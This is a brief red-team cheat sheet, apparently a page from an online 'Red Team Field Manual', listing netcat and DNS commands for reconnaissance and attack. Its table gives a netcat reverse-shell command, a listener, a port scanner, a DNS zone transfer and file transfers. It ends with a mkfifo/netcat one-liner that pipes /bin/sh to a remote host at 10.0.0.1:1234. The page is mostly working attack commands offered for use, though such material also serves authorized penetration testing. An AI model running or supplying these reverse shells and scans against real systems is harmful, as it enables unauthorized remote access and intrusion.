Red Team Field Manual
rtfm
network
| command | description |
|---|---|
| host -t ns domain | ask the name servers for a domain |
| host -l domain nameServer | dns zone transfer |
| nc ip port -e shell | start reverse shell: cmd.exe, /bin/sh |
| nc -l -p port | start listener |
| nc -v -n -z -w1 ip startPort - endPort | tcp port scanner |
| nc -l -p port fileName nc -w3 ip port fileName |
file transfers |
if you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Comments